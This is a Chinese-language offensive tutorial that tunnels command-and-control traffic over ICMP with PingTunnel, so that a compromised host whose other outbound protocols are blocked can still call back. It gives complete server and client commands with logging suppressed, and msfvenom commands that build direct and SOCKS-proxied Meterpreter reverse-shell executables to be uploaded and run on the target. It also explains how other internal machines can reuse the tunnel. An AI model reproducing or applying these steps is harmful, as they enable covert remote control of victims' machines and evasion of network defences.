一、实战环境简述
假如实战环境中,其他协议都不能出网,唯一的突破口为ICMP协议(也就是ping出网),那么可利用ICMP隧道达到上线
本次实验环境:
目标udp、dns、http等协议都不可出网,ICMP可以出网,遂搭建ICMP隧道达到上线的目的,可利用工具有:imcpsh、ptunnel、还有本文将使用的PingTunnel(利用GO语言开发,可以把tcp/udp/sock5流量伪装成icmp流量进行转发)
二、构建ICMP隧道转发tcp-->上线
1、环境配置
①服务端(攻击者vps)
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all #关闭原本的icmp应答
启动程序,设置type为服务端
./pingtunnel -type server -noprint 1 -nolog 1
后面两个参数是不打印详细信息出来
②客户端(目标机器)
pingtunnel.exe -type client -l 127.0.0.1:4444 -s 服务端的ip -t c2服务器的ip:4444 -tcp 1 -noprint 1 -nolog 1
后面两个参数是不打印详细信息出来
2、上线msf
①生成反向payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1(目标本地ip) lport=4444(监听的端口) -f exe -o icmp.exe
上传到目标并执行,即可上线
此时的流量走向:pingtunnel服务端-->pingtunnel客户端本地4444--->pingtunnel服务端本地4444
2、上线cobaltstrike
暂时没弄出来.....之后再补上吧
三、构建ICMP隧道socks-->上线
①启动程序,设置type为服务端
./pingtunnel -type server -noprint 1 -nolog 1
后面两个参数是不打印详细信息出来
②客户端(目标机器)
pingtunnel.exe -type client -l 127.0.0.1:4444 -s 服务端的ip -sock5 1 -noprint 1 -nolog 1
后面两个参数是不打印详细信息出来
③msf生成支持socks的payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2(服务端ip) LPORT=4444 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1(客户端ip) HttpProxyPort=4444(监听的端口) -f exe -o socks.exe
④上传到目标并执行,即可上线
此时的流量走向:pingtunnel客户端本地4444的socks代理-->pingtunnel服务端-->pingtunnel服务端本地4444
因为在icmp客户端本地4444通过icmp隧道搭建起了一个socks代理,只要内网中其他机器能访问到icmp客户端,同样可以利用此隧道达到上线,生成payload只需要把127.0.0.1改成icmp客户端实际ip即可